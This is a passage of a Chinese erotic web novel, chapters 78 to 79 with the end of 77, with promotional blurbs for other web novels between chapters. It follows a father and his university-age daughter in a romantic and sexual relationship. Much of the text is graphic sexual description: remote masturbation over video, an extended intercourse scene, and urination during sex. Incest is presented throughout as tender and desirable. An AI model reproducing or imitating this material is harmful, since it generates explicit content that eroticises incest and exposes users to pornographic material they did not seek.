  裴芙甚至能准确回忆起它的味道。裴闵的性器,他的味道……或者上面会全部沾上她的。裴芙全都想用唇舌舔吻吮吸。
  她的肉穴烫得快要融化,细白的手指被穴口缠咬,她用指尖感受自己体内的媚肉,她们多情地渴求着抚慰与疼爱,深入骨髓的、让人头皮发麻的快感,只有爸爸,只有爸爸才可以做到——
  她的手指动作急促起来,在蜜穴里肏干出激烈的咕叽声。
  她想要裴闵用肉棒凌虐、扇打这淫荡饥渴的阴蒂肉穴,也想让他用嘴整个含住,把珠蒂吸肿、淫水吸空。
  裴闵遭不住了,眼睑下、面颊上晕开一片情欲的红晕,张开嘴,克制而迷乱地喘息。
  他无意把战线拉太长,也畏惧在镜头前对着女儿太过失态。
  视频断得突如其来,裴芙看着聊天窗口裴闵发来一句:“赶紧洗完,穿好衣服,别感冒了。”
  她一身热又轻飘飘泄了,打算待会儿去床上弄。
  出了浴室,室友无意问了她一句今天怎么这么久,裴芙讪讪笑了一下,随机应变能力空前强大,脸不红心不跳地说今天用了新买的磨砂膏,还洗了一下衣服。
  裴芙躺倒在床上,收到裴闵一张照片,他掌心接一捧白色黏液,发来的语音更是离谱得没边,裴芙转文字看都被吓住,赶紧找了耳机戴上。
  他的声音带着事后特有的懒和哑,吹在她耳边似的:“想你给我舔出来。”
  她脸红得滴血,脑袋埋在枕头里,可是一对耳朵滚烫,怎么也凉不了。她手指抖着把那句话点开听了一遍又一遍,简直要在床上化成一滩水。
  她是犯蠢,要这样勾引他一次又一次,怎么不记得他在床上把她干得又哭又叫爸爸,教她说那些她根本不好意思开口的话。
  就这样发着烫,辗转反侧到凌晨两点,裴芙终于拿定主意,买好了五一小长假往返的机票,截了个图发给裴闵。
  另一头,裴闵让她这样一扰,晚上做梦居然都梦到在大学寝室里和她做爱,还是自己大学的男生宿舍。
  床帘外是室友的谈笑、游戏音乐,而昏暗的帘帐内,他把裴芙压在那张小小的窄床上一次又一次进入,裴芙爽极却只敢发出细小压抑的呜咽,咬着他的肩膀,攀住他摇荡腰肢软臀,腿心软媚的肉穴被他的鸡巴撑开狠捣,他次次都要肏到最深,要奸淫子宫似的销魂。
  裴芙的腿被他押开,整个又嫩又烫的嫩逼赤裸裸地敞给他,干得合不拢的骚穴里流出源源不断的浓精和淫液,把深蓝色的床单沁湿出大块深色,乳头更是被时刻含吮着,肿大了、沾满了男人的唾液。
  他一次又一次不知疲惫地,在这样半私密半公开的环境里亵玩她,听她求他轻一点,不要被别人听到,又贴在他耳边说好爱他,全世界最爱爸爸。
  蠢子,谁大学就有这么大的女儿。
  他从荒唐春梦里醒来,看见自己鸡巴高高挺着,上头还挂着尚未干涸的精水。
  梦遗加晨勃,他怀着负罪感打开手机,想拿昨晚的照片用手打出来,却看到裴芙发来的机票信息。
  裴闵呆滞了几十秒,突然开始在床上剧烈左右翻滚起来。
  他激动的心久久不能平静,望着天花板,觉得自己如同毛头小子,居然陷入和女儿的热恋、不可自拔。

我有九千万亿舔狗金
番茄第一帅哥
舔一个女神,你就是舔苟。舔一百个女神,一百个女神就是你的舔苟。陈远,觉醒终极舔苟系统,获得舔苟金九千万亿。一条终极舔王的故事,由此展开·····

风情万种 / 发表于: 2025/09/12 02:46:36

第七十八章
  五一假期前一周裴芙就已经清点好了行李,她没什么要带的,无非就是一个平板电脑、两件薄春衫,塞在书包里就行了。
  到了四月二十八号,只有一节早课,她是急不可待,上完课背着包就往校门外冲,飞机中午起飞。
  她没一点困意,在飞机上玩了一阵子蜘蛛纸牌,又看了一会儿书。
  虽然是小长假前的周五,但归根究底还是工作日,所以她没让裴闵来接机,自己坐了磁浮和地铁回家,没忘路上买了想吃的点心,提着一袋子香草奶油泡芙边走边吃。
  有人把南方春季的太阳比作白炽灯,只发光不发热。
  可是到了这个时节了,气温是结结实实攀升上来。
  逼得裴芙出了一身薄汗,泡芙里的奶油馅不冷藏怕是要糟。
  她出了地铁、进了小区,越靠近家,心情就越发松快起来,心脏像欢快的小雀似的扑腾乱跳。
  她在电梯的镜子里看见自己怎么也压抑不了的笑容,想着现在离裴闵下班还有一阵子,她回家要先洗个澡,舒舒服服等他回来,亲一亲他抱一抱他,然后再去下个馆子之类的。
  她摁指纹开了门,闻到屋子里溢出一股炖肉的香味。啊——啊呀。裴芙把鞋子踢掉,看见客厅沙发上赫然坐着个人。
  ……他居然没上班!莫非在家里等着她回来吗?
  裴闵今天一整天是坐立难安,早上就起来了,也不去上班,去健身房练了一会儿就赶紧买菜备菜了。
  他坐立难安,在客厅里来来回回踱步,好不容易坐下安生了一会儿,一听见开门的动静,猛地直起腰板想起身,但又想假装矜持,坐在那儿等裴芙自己走过来。
  “爸爸——”裴芙换了鞋子朝他来了,一扑就倒在他怀里:“看看谁回来了呀?”
  今天天热,裴芙穿了一件修身的杏色单衣,看起来单薄又柔软,带着整个末春的花香与和煦扑进他的怀抱。她身上还有阳光晒过的温度。
  裴闵闻到她身上干干净净的皂调体香,鼻尖靠近,耳后还抹了一点花香调的香水,晚香玉和茉莉幽幽地、缠绵地勾他的嗅觉,让他想要更多摄取这段暖香。
  他心里高兴得都快哭了,竟然连话也说不出口。失语半晌,索性把她脑袋一摁,干干脆脆亲了过去。
  他尝到她嘴里奶油的甜味,垂着眼睛轻轻舔她的嘴唇,“……泡芙。”
  裴芙觉得他的手臂强有力地环住自己的腰,让她整个都紧紧压在他的躯体上。
  裴闵穿一件紧身的短袖,他的体温甚至让她觉得烫,又搂得那么紧密,就连吻也带着灼热的欲望,强势而温柔地侵入她。
  他想干脆用泡芙做女儿的新外号算了,脑子里忍不住联想一些龌龊的废料……内射完以后不就是爆浆泡芙吗,这个比喻有种色情又可爱的感觉。
  “啊…我买了还剩一个,你吃不吃?”
  裴闵才不吃,一个下去多少大卡。但是他又受不住裴芙那献宝一样的眼神,接过来咬了一口。
  好甜!
  裴闵喝了一口水,心想这几天的饮食是要配合裴芙摄入大量碳水的,只能之后再努力了。
  可是吃了好吃的油爆香辣,想再回归生酮、吃水煮可就难了。
  人到这个岁数,只要稍稍松懈很快就会变成油腻大叔,他打了个寒颤。
  他记起裴芙一路上应该顾不上吃东西,这会儿该饿了。
  他站起来去厨房把炖的莲藕排骨汤拿了出来,这次还学习了裴家奶奶的做法,里面放了花生,煮出来的汤很甜,裴芙最喜欢喝这个。
  舟车劳顿不宜油腻,他炒了几个清淡的时蔬,又拍两条黄瓜,加糖醋生抽蒜末小米辣以及自家晒的辣酱拌匀,做开胃前菜,刚拌好就着喂给裴芙一筷子。
  裴芙就靠在厨房的门边上看他弄,想起自己小学的时候爸爸还十指不沾阳春水,万事指望保姆阿姨,现在居然什么都做得又快又好,家里打理得井井有条,做菜也很拿得出手。
  她想或许自己也是,十年后会变得更独立更坚强。那时候和裴闵就像是老夫老妻了吧?会一起在厨房里忙忙碌碌,光是幻想都觉得充盈而幸福。
  他吃饭吃得快,吃完了看着裴芙吃,她吃得秀气,一筷子饭一筷子菜,嚼东西抿着嘴、不讲话也不吧唧,吃相很乖很好,这是她奶奶从小就夸的。
  他就喜欢看她吃饭,吃他做的饭菜吃得饱饱的,能长胖点就更好了。这就是做爸爸的心理。
  “你别盯着我,我都吃不下饭了。”裴芙喝了一口汤,感觉那口热汤鲜甜异常,一路舒服到了胃里,干脆捧着碗一口接一口地喝。
  “看你多吃点嘛。怎么,爸爸做的饭好不好吃?”
  “好吃,比学校里好吃多了。”裴芙把汤喝完了,靠在椅背上休息,“超级超级好吃。”
  “听你这句话我就心满意足了。”裴闵站起来收碗,一边又问:“这几天想干什么?我带你去哪里玩?”裴闵专门空出了一个小长假来陪她,想着依裴芙的想法来安排。
  “不要了吧,五一外面好多游客,凑什么热闹。我们就呆在家里吧,你平时上班辛苦了,刚好现在可以休息一下。”
  裴芙也结结实实忙了两个月,眼下好不容易能喘息一下,就想在家里好好吃几天、睡几天。
  她委委屈屈缠着裴闵要一起睡午觉,和他说在学校读书如何辛苦,现在只要一看文字就脑袋发晕。
  裴闵又心疼又好笑,他知道裴芙自己用功,于是死心塌地地溺爱她,伺候小宝宝一样,给她拿出新买的睡衣套上,再抱到床上去睡午觉。
  就连被子也是新洗了换了的,裴芙躺在床上猛吸一口,她想家想得厉害,在学校里也买了家里用的这种洗衣液,可是不知道怎么的,总觉得和家里洗过的闻起来就是有差别,经了裴闵的手洗的衣物就是更好闻、留香更久。
  看来是心理作用。她把裴闵扯倒在自己旁边,趴在他身上这里闻闻那里嗅嗅,又盯着他的脸看。
  “看什么,我变丑了?”裴闵摸了一下自己的脸,又用手按着裴芙的腰,让她在自己身上趴得更稳些。
  “没有,好看。”裴芙凑上来亲他一下,脸埋进他颈窝亲他的脖子和喉结:“我看不够啊。这么久没看到你了,也不来看我……”
  “爸爸要上班赚钱养你,闹什么?”裴闵咬她耳朵:“赚了钱给你买鸽子蛋。”
  “我不要那么多钱……你我想你好好的,别太累了。”
  裴芙不想再压着他,怕把他压痛了,翻身缩进被窝里,让裴闵也躺进来。
  “我都舍不得睡了,就回来这么几天,还睡掉一个下午。”
  “那你干什么?这么累了。”裴闵躺在她身边把薄被捻好,又熟练地把她抱紧怀里:“莫非你还有力气做爱?”
  “啊——”裴芙简直给他弄疯,哪里有讲话这么直白的!光天化日朗朗乾坤,温馨氛围全垮掉。
  “还是睡吧。”裴芙咬他的胸一口,留下一个浅浅的牙印:“我晚上再收拾你,大色狼。”
  “那你就是小色狼。”裴闵哼哼一声,也不说话了,抱着她睡觉。
  裴芙觉得不太真实。
  上午还在上课呢,这会儿怎么就到家了,又回家了……爸爸就睡在旁边呢。
  他热乎乎的,怀抱还是这么熟悉又舒服,只要抱着他就安心得不得了,他的心跳就是催眠的摇篮曲。
  她一觉睡到晚上八点,裴闵热了中午没吃完的菜,两个人应付完晚餐,休息了一会儿就要去洗澡。
  裴芙先去洗了,结果刚刚脱掉上衣裴闵就开门走了进来,神色自然地脱掉上衣站在了花洒下。
  他把水温调好,对裴芙招了招手:“愣着做什么?过来。”
  “……一起洗啊?”
  “要不然我在干什么?”裴闵啧了一声:“脱了衣服过来,我来给你洗。”
  裴芙有点扭捏,但还是脱了衣服进了淋浴间。裴闵把小凳子踢到脚边上,让她坐着,他拿了洗发水和护发素,用发泡网揉了泡出来给她洗头发。
  裴芙坐在那儿乖乖让他弄。
  说实话,她还以为……还以为裴闵要洗个荤澡。
  没想到他是正儿八经要给她洗,一双大手温柔有力地摁压、揉动头皮,细致地上好发膜、冲洗干净,接下来拿了搓澡巾和沐浴露要给她搓身上。
  “啊……爸爸,这个我自己来吧……”
  裴芙怕羞又怕痒,想躲又被摁回小板凳上坐着。裴闵在她身后,搓澡巾已经按在背上了,下一步就是开搓。
  裴芙以前用的都是浴球,后来上了大学以后买了一把刷子刷背,从来没用过搓澡巾,只听说北方地区比较流行这个。
  轻微的磨砂般的刺痛从背后传来,她忍不住轻轻吸了一口气。
  “痛?”裴闵的手掌贴着她的脊背抚摸了两下,泛红的细嫩皮肤被他触碰又生出暧昧的热痒,裴芙摇头:“……还好。”
  “我这段时间开始用这个,我听杨凯说的,他觉得这种搓得干净。我给我自己搓得更重。你这细皮嫩肉的……”裴闵的手握住她的腰侧,“又瘦回去了。明明开学去的时候身上还有点肉,现在又是一把骨头架子。到底是怎么读的书,还能读得玉减香消?”
  “我吃了的……”
  “是不是在学校里洗澡也洗得马虎?摸的时候总觉得背上没洗干净……”
  “没有!”裴芙回头瞪他一眼:“是今天太热了我出汗了。”
  “好好好…是汗。我给你搓干净不就好了吗。低头,我给你把脖子后面搓一下。”
  裴闵的手按在她过分瘦削又十分美丽的肩头。
  他又想说实在是太瘦了,但还是住了嘴。
  各人的体质有所差异,她现在这样BMI是偏低了,不过身体很健康,一年到头也难得感冒一次。
  裴闵觉得自己是把裴芙整个人都细细打磨了一遍,把她身上沾的外来的气息全部洗干净,赤条条又变回只属于他的熟悉的宝贝。
  他给裴芙搓完了,拿一块大浴巾把女儿一整个包圆,让她去吹头发,自己开始冲澡。
  浴室干湿分离,中间隔着一道玻璃门。
  门是敞开的,裴芙在外间吹头,他在里头洗澡。
  裴闵注意到这件事,却又装作很自然的样子。
  要做到真正亲密无间的相处,需要时间适应,他们还在朝着这个方向训练。
  他洗完了,套上睡裤,顺手就接过裴芙手里的吹风机给她吹头发。
  吹到一半没忍住,头伏下去吸她的香味,他们用的是一样的沐浴露和洗发水,都是一样的味道,可他就是觉得裴芙更好闻些。
  裴闵摸着她的头发已经八成干,替她抹了一点护发精油,就可以抱到床上去了。
  他裸着的上身还有未干的水气,皮肤也是湿润柔软的质地。裴芙躺在他怀里,也没考虑过接下来要怎么做,脑子放空,和他贴在一起发呆。
  但是一切又都发生得很自然。应该是从拥抱开始吧,搂住彼此的腰,怀抱变得越来越紧,然后,大概是他先低下头来吻她。
  他的唇舌柔软,埋在胸前含吮乳尖。
  刚刚洗澡时他假装不经意轻轻擦过她的娇嫩乳头,裴芙瑟缩一下,几乎要叫出声来。
  他嘴里含着唾液,反哺小小的奶尖,把她吸硬吸肿,快感从奶孔刺入四肢百骸,痒得让人心慌意乱。
  裴芙被他抱着坐在身上,感受他的抚摸。
  他的手大,指骨匀长,是一双漂亮的男人的手,覆盖在她的背上,可以盖住四分之三的宽度。
  微热的手掌轻轻的轻轻的沿着她的脊背向下,手指先一步陷入她的臀沟里,引起裴芙敏感的轻颤。
  “乖乖流了好多水。”
  他的指尖沾了蜜,轻柔地把花蕊揉开。
  他只用一根手指,从窄小的苞孔入进去,一个指节送进去,在浅处揉弄湿嫩的腔径,让她适应被侵入占据,原本紧绷的下身松懈下来,甬道深处也淌出黏液。
  裴芙被这样温柔的插入融化了,呻吟却被裴闵的深吻堵住。
  他的手指慢慢往里送,软嫩的穴肉夹住他的手指收缩,紧紧吸着他,水流得越来越多,她的性欲被彻底调动起来,迎合着他的手微微摇晃,想要被肏得更深,往前一送,那手指就连指根也被她的嫩穴吃了进去。
  “这么想要?”裴闵让她背靠着自己的前胸,手指加到两根。他勃起的阴茎被她压在臀缝里用爱液沾湿,他却不急着干进去。
  “还要……”裴芙小声说。
  裴闵的另一只手不知何时摁在了那个脆弱的软蒂上,随着他的撩动而变得殷红膨胀。
  这里就像是裴芙的快感开关,只要被触碰,快感就会呈雪崩之势,坍缩掩埋她。
  内外酥麻升腾夹击,她眼睁睁看着两只男人的大手在自己腿间为非作歹,他的手指掐着那一粒小小的淫荡肉珠揉拧亵弄,粗糙的指茧摩擦薄嫩的蒂膜,这样残戾对待下,那粒肉珠惊人地肿起来,顶出大小阴唇淫荡地袒露在外,显露出被男人采撷玩弄彻底的熟成。
  爸爸疼你。
  裴闵要沉醉在她身上,肉眼可见裴芙的身体剧烈颤抖了一下,内外同时高潮,瞬时间快感来得毁天灭地,她竟然连眼泪都没法流,只是呆呆地睁大眼睛,下身被蹂躏红肿,双腿大开,淫水失禁似的往外淌。
  裴闵抽出手指,她的穴肉还在快感中抽搐收缩,敏感狼狈的蚌肉就又被扒开,被男人进行二次侵犯。
  那柄沉甸甸的凶器早就已经被流淌的淫液湿润,进犯入侵得轻而易举,裴闵甚至无需挺腰,龟头一滑,顶在穴口陷了进去。
  “啊……”裴芙发出颤抖的脆弱泣音,裴闵只顶进来一个龟头而已,浅浅地往里送了几下。
  裴芙低着头就可以看见,他胀硬的肉棒大部分都还在她的体外,却已经被穴里流出的淫水渡上一层蜜似的湿漉光泽。
  就像是打吊针,眼睁睁看着针头推进皮肉血管一样,裴芙既怕又渴望他快些全部进来,肉逼翕动开阖,夹着那颗大龟头吞吃前端渗出的腺液。
  裴闵只不过是好心让她喘息几秒钟,他的手指抚摸了几下湿泞的阴户,搅动那几瓣裹着淫汁蜜露的柔嫩花唇稍事撩拨,就重新暴露恶魔本性。
  他的食指中指摁在穴口往两头分张,把她的穴眼扒开,轻轻在她耳朵边上说:“宝宝腰要晃起来……给我夹紧。”
  裴芙被他掰开腿,湿淋淋的骚软肉穴大张供他抽插,裴闵干得又快又猛,粗硬鸡巴在窄嫩的阴道里猛烈冲撞,顶在她最骚最甜的芯子上,把人磨得又哭又叫,掉转了个体位,趴跪在他身下挨肏。
  他轻轻笑了,叫她小淫猫。
  裴芙的脸压在枕头里,耳根都憋红,忍不住偏过头喘息。
  裴闵压低了身子吻她,唇舌交缠,唾液浸润真丝枕套,他的吻过于深、爱意也过于浓重,一只手裹住她紧紧揪着枕头的手,手指插入她的指缝扣住,十指交握,交颈缠绵。
  他的重量极具压迫感地降落,腰腹紧绷而滚烫,每一次挺动都落下汗水,一杆性器凶悍地把她撑薄、撑实,龟头边沿与茎身筋脉在穴内的嫩肉上厮磨,他长驱直入,往深密幽邃的地方插,不能被手指抚慰的空虚之处含着寂寞的爱液,被捣得淫水飞溅,紧紧嘬吸着粗硕男根的伞冠,缩张绞紧他,试图永远留住他嵌合于此,合而为一。
  裴芙的水多到让人咂舌的程度,裴闵摁着她的下腹,感受那儿热情的轻微痉挛,隔着肚皮竟然也能摸到自己的性器轻微地凸起。
  裴闵吻她的后颈,亲吻吐息之间的低语说得也恶劣:“全灌满,好不好?尿也射给你。”
  ——射尿。
  被最肮脏不齿的体液侵犯,那些腥臊的液体因为她的胡搅蛮缠被错误灌入她的甬道,滚烫有力的激流冲刷每一寸软腔媚肉,她要逃跑却被索取负担全责。
  她还记得那种慌乱的感受,细腰髋骨被男人的大掌摁下,压着她的淫户与他下腹贴得紧密严实,那凶恶的肉棍膨在她的嫩逼里跳动,每一股尿液都在对她实施性侵,激射引发的不仅仅是恐慌还有突如其来的高潮痉挛,她绞紧了粗长的肉棍,在不可置信中被爸爸用尿射到高潮,鸡巴拔出来以后穴口失去瓶塞,意识恍惚,失去对身体的主导权,任凭液体淅淅沥沥从合不拢的肉穴流泻而下。
  她事后趴在爸爸怀里被他小心而珍爱地亲吻,她不愿意承认的却是自己对那种崩坏快感的迷恋。
  所有自尊被打碎,父亲温柔地凌虐她,告诉她没关系,在爸爸这里你是什么样子都可以。
  过往的回忆在她脑海内轮放,裴闵轻轻咬她:“想什么?夹得这么紧……”
  裴芙哪里有机会应答,每每张嘴,来不及喘息就是他的亲吻。
  她好不容易说:“我都要……”
  “什么?”
  “只要是你的…嗯啊……我都要。”
  啪。
  那两团软白的臀瓣被轻轻扇下巴掌,泛起情色的红痕。
  这是她乱说话的惩罚。
  她被打得浑身一颤,轻微痛感之后是酥麻的痒,她听见裴闵低沉的喘息,他无法自持的沙哑声音性感到让人心尖发颤,粘稠的爱语是让她变得乖顺淫荡的言灵。
  宝宝,宝宝。
  他觉得自己的引擎已经沸腾崩坏,只知道机械地往里冲撞,一切都如此绚烂,他看见夜空里的烟花盛放,情欲到达顶峰时竟然如此惊心动魄的迷乱美丽。
  他在和自己的最爱最爱抵死缠绵,她对他说怎么样都可以,因为爱你,所以都接受。
  爱液被撞得粘稠拉丝,他最后几下缓慢沉重地顶进去,阴茎胀得可怕,极致的酥痒后是身体内浮现细小的闪电,让人发颤。
  裴芙握紧了他的手,她感受到那种鲜活的跳动,他填满自己,潮水一样冲刷过她的身体。
  她觉得自己像被海潮托举的月亮倒影,被潮汐撞碎又融合,她以为一切已经结束的时候,热流再一次将她击溃。
  她没有挣扎,脸埋进枕头里,温顺地接受。
  裴闵的眼泪滴在她腰窝,他急匆匆地撤出啦,那还勃硬的家伙往外泄着水,他手忙脚乱,抱着裴芙无措而脆弱地张嘴:“……我、我不是故意的……”
  裴芙的手环抱着他的颈肩,她此刻平静而餍足,在性事后满身湿漉却如初生般澄澈,问他:“不是故意的?”
  “我…我不小心……失禁了。”他湿润的睫毛从深邃的眉眼阴影中探出来,承接住一缕夜灯暖黄的光辉,脆弱地颤动,与他的体格、方才强悍的性事风格都格格不入。
  他小心地向怀里的人解释自己如何因为快感失禁,虽然打了嘴炮但并不想真的亵渎她,湿润的眼睛像一汪湖水,掬住一个皎洁的雪白月亮。
  裴芙让他低下头,软红的舌尖一点一点舔舐掉他的眼泪。
  她吃得心满意足,却不想表达出自己脏陋的性癖。
  她还想看着裴闵保留这点儿道德和羞耻感一次一次破戒,他的兽欲冲破理智,事后又满怀慌乱地祈求原谅。
  他又不是没有在给她口交的时候把她弄失禁过。况且她还想一起做更多坏事。
  更多、更多。
  好吧。
  她说:“原谅你。”
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  注意看,这个没有爬梯的作者终于登上了她的账号^^
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好色小姨
孤寂之狼
“小姨,我要……”“乖乖,我来了……”当你有一个漂亮的不像话,而且寂寞难耐的小姨时,你会怎么做?当这个爱你到骨子里的小姨不断的为你勾搭各种美女的时候,你会怎么做?从萝莉,到御姐,到少妇,小姨的命令统统拿下……

风情万种 / 发表于: 2025/09/12 02:55:45

第七十九章
  裴闵晨练完了裴芙还在睡,他一身热气腾腾的往床上压,床垫下陷,裴芙也被他扰醒了。
  她头发乱蓬蓬,眼睛还模糊着,身体自然地往裴闵那边靠,搂住他的腰。
  刚刚锻炼完,赤裸着的上身肌肉还充着血,有点硬。
  裴芙蹭了两下,在他胸前亲了亲。
  他还加练了臀桥,裴芙的手沿着脊沟往下,腰窝下凹,再往下就是他的裤腰了,裴闵终于忍无可忍把她的手截住,两手一拎,把她从被窝里抽出来:“我看你已经清醒了吧。”
  “摸你两下怎么了…小气鬼。”裴芙挂在他身上:“抱我去洗脸。”
  “你只想要摸两下?”他腰轻轻往前顶了顶:“再摸两下都要硬了。”
  “练了不就是给我摸的吗?”裴芙挂在他身上耍赖,裴闵骨架生得大,锁骨正直,一脉平平地延伸到肩头,下陷出一个漂亮的颈窝,供她依靠。
  他托得稳当,把女孩子抱着进了盥洗室,拍了拍小屁股让她下来自己洗漱。
  “今天做什么?去不去逛商场?我给你买衣服。”裴闵拿了衣服来挂烫,他只打算穿一件高克数的短袖,版型做得很好,不过也要熨烫平整才能完全显露出面料质感来。
  “不去了,买那么贵在学校也穿不了,过季了就不喜欢了,好浪费钱。”只穿一次就压箱底,那也太不划算。
  裴芙吐着泡泡,“今天去外面吃吧,你之前不是说找到了好吃的店吗?”
  “我说的哪个?我记不得了。”
  “有沙冰的那个。”
  “那个——在大学城那边,靠近公园了。牛油果拌饭还可以,还有你说想吃的阿芙佳朵,它店里的冰淇淋是自己做的,里面有香草籽。”
  “啊……那我吃番茄沙冰还是吃香草的?”裴芙让裴闵把气垫梳子拿过来,她往发丝上抹了一点儿精油,用梳子把长发梳顺,像一匹柔软的绸披在肩头,又被她仔仔细细地用发圈拢作一束低低的马尾垂在背后。
  啊呀,还没有换衣服,就先把头发梳好了。
  裴芙从背包里把带回家的衣服抽出来,亚麻面料在包里被压皱得不成样子,她把那件薄衫朝裴闵一抛,让他顺带一起熨好。
  “点两份不就行了。你吃不完的我来吃。”
  裴闵把衣服从肩头拉下来,并不在意裴芙的小小淘气。
  他把熨好的短袖取下来,往身上一套,他肩宽腿长,穿什么都像模像样,不过胸围一撑起来就显得有点壮,偶尔会感到困扰。
  不过他在显壮和脱了好看间坚定选择了后者。
  他把裴芙的衣服往衣架上撑开,一件圆圆领口的薄亚麻衬衫,是她喜欢的那种……清心寡欲的、出家尼姑似的葭灰色。
  小小年纪也不穿鲜亮一点,现在的孩子都是这样吗?
  他记得现在也有喜欢打扮得五颜六色的女孩子吧。
  裴芙换了一件吊带背心,穿了牛仔裤,裴闵把她的衣服也熨好了,褶皱被蒸汽抚平,还带着一点点潮气。
  不过这几天气温高,几分钟就会干燥的。
  她站在那儿把手举起来,让裴闵把衣服从上边给她套下来,“你小心,别弄乱我头发。”
  裴闵把领口撑开了,让她脑袋穿出来,手在她脖子后头一勾,马尾也从衣领里挑出来了。
  两个人站在镜子前,裴闵抓头发,裴芙抹了一点儿防晒隔离,打了一点腮红上了眉粉,又拍了拍粉饼,接着掏了支唇釉薄薄抿了一点。
  裴闵左看右看没觉得有什么变化,不过就是小嘴红了一点,唇蜜让嘴看起来丰盈柔软了一点儿,他忍不住轻轻亲了一下。
  原来是有香味的。他舔了一下嘴:“这个涂起来还不错,我给你多买几支。”
  “不要,我在学校里不怎么涂,用不完就变质了。化妆品收纳起来也很麻烦。”裴芙被他偷袭一下,只能再扭开唇釉,刷头沾了一点点重新补涂。
  “你在学校里不打扮是不是也有男生喜欢你?”
  “有几个问微信的,不过我没给。我平时不怎么出去玩,你又不是不知道。”
  裴闵心里暗暗高兴了一下,不过被要微信这事儿裴芙也没和他说过,想来是她懒得说,不太在意就忘了。
  裴芙梳妆打扮好了,少量化妆品掩盖了被折腾到后半夜的疲惫感,她和裴闵下楼,在电梯里照镜子,看着被熨好的衬衣忍不住感慨:“衣服还是要熨一下才体面。”
  她喜欢舒适的棉麻,却苦恼于易皱的材料天性。裴闵细致地熨烫过后,这件衣服穿在身上前所未有地挺括起来。
  “不管什么价格、什么材质,都要细致对待,这叫做‘惜物’。”裴闵看着镜子里的自己和裴芙,指了指自己身上的短袖:“即使是贵的衣服,皱巴巴的,看起来也会廉价。”
  裴芙想起来以前看书,读到过一段作者的回忆,说的是一同面试的男生西服笔挺,他拿到了offer和作者交谈,说那不过是很平价的西装,只是认真地熨烫过。
  这时作者才恍然大悟,原来不是西装给人锦上添花,而是认真细致的态度让人赢在起跑线上。
  便宜的衣物,仔细熨烫会变得挺括平整;昂贵的服饰,如果粗糙地穿戴,也可能皱皱巴巴。
  有的时候,态度会发挥大作用。
  态度端正了,就是一半成功。
  她忍不住笑出来,不知道自己怎么总结出一段如此成功学风格的哲理。
  裴闵不解她的笑容从何而来,于是裴芙就慢慢说给他听,两个人十指紧扣着走出电梯去车位,裴闵听完了她的哲理小讲座也忍不住笑起来。
  他笑的点和裴芙不一样,他是觉得女儿又比昨天更加成熟了一点点。
  很多时候道理谁都懂,可是大家都要走弯路、再在未来的某一刻驻足回望,而后顿悟。
  裴芙这个年纪就已经这么老成,是把从他这里遗传下来的心思细腻扩大了多少倍呢?
  这么聪慧的小孩是自己的孩子,每每想到都觉得不可思议又幸福不已。
  他觉得裴芙真的很好很好,她在自己身边也好,不在身边也好,都是上天给他最大的一份礼物。
  她存在于这个世界上,所带给他的就是源源不断的快乐。
  他忍不住伸手到副驾摸了摸她的脑袋:“系好安全带,我们去吃饭了。”
  裴闵已经提前打过电话,店家在三楼露台预留了座位,领他们上楼。
  刚坐下不久,餐品就送过来,主食是口感丰富的牛油果拌饭和牛柳意面,外加一份烘烤酥脆的蒜香芝士法棍。
  吃到最后送来两份冰点,裴芙心心念念的乌梅番茄沙冰和阿芙佳朵一起被端上来,她把两份横放,餐桌小小的,这样她同裴闵都能轻松舀到。
  她在思考这样的餐点会不会让裴闵觉得麻烦,毕竟年龄越大这几年他对自己饮食要求越严苛,天天吃健身餐高蛋白低碳水,不知道这样的食物算不上负担。
  “爸爸,”她舀了一口冰沙,“不想吃也没事的。不用陪我吃。”
  “怎么会。我是个正常人……我肯定更喜欢吃这些东西啊。”
  裴闵把草莓蓝莓从高脚杯转移到裴芙的盘子里,拿起小盏给香草冰淇淋淋上浓缩。
  比起纯粹的香甜来说,淋上咖啡之后更接近所谓“大人的味道”,混合了苦酸,也增加了醇厚的香气,是更加复杂的味觉感受。
  裴闵的左侧门牙有一点敏感,所以要让冰淇淋尽量小心地避开它,落在舌尖上。
  好苦。
  他眼睛忍不住眯了一下。
  人的本能是驱甜避苦,欣赏苦味是后天的训练。
  忍耐苦瓜的苦是为了咀嚼吞咽后的回甘,渗透酱肉香气的好滋味;而品尝咖啡则是在苦味中品读风味与香气。
  裴闵不是对咖啡很有研究的人,他的肠胃比较脆弱,咖啡会刺激胃酸分泌,与此同时导致心悸心慌,二十岁的时候略有接触,能够区分一些咖啡种类,如果说要喝出更细致的风味层次,他的舌头恐怕就没有那么敏感了。
  “很苦吗?”裴芙也舀了一勺,半秒后露出和他相同的痛苦表情。
  裴芙喝咖啡只喝一个香味,能接受的也不过是连锁店里和奶茶一样的甜水咖啡。
  “好苦!”她赶紧喝了一口柠檬水,又把水杯递给裴闵让他也清清口。
  “不该倒这个的,本来冰淇淋挺好吃的。”裴闵悻悻地放弃了,和裴芙一起吃冰沙。
  乌梅番茄冰沙是应季的产物,碗底铺满番茄汁子冻的冰沙,千禧小番茄切开,里头塞一粒九制乌梅脯,铺满上层,一整碗都是漂亮的茄红色,漂亮又好味。
  裴芙担心这样凉热交替吃会拉肚子,但是又忍不住全吃完了。
  裴闵拿了湿巾给她擦手擦嘴,这店开在湖边上,下楼就是湖边,可以顺着走一走。
  因为怕碰到熟人所以不敢牵手,裴芙却也不觉得失落,和裴闵并肩走。她看见水面辽阔,风温柔地吹过来,水面微皱、浮光跃金。
  她突然发觉这是特别好的一个下午。
  天气晴朗和煦,她和最重要的人一起享受闲暇的时光,做一些无意义的事情,吃好吃的冰,在湖边散步,看远处一队野鸭子扑水。
  或许是被灌输太多次美好的事物都短暂易碎,她心里总有一根触角战战兢兢,生怕一切都是梦幻泡影,再下一秒就消散。
  她不知道这样美好的日子究竟能有多少次、她愿意心甘情愿虚度的时光能多长久。
  她希求更多明天、将来、以后,却从来没有奢求过“永远”。
  人定有时,从小到大她都畏惧着时间,畏惧分离。
  时间是不会停止的,它向前走,让每一个当下都转为回忆,所有未来都会变成压在脚下的履带。
  什么时候……她看向湖面,把目光投得很远。
  什么时候,时间会从她身边带走裴闵,这一切永不会再有。
  她的手被牵住了。
  裴芙的目光转回来,低头看着自己的手,正被一只大大的手裹住。
  他掌心里有茧,粗糙又温暖,容纳她,包裹她。
  好像不只是她的手,连同心也被温柔地笼络住了。
  “爸爸?”
  “就是想牵着你。”裴闵轻声道,“你露出了特别寂寞的表情。”
  “想什么呢?”
  “没想什么。就是突然意识到,有那种就算认真努力也做不到的事情。”
  “那就接受它吧。”
  裴芙的手紧了紧,“接受?”
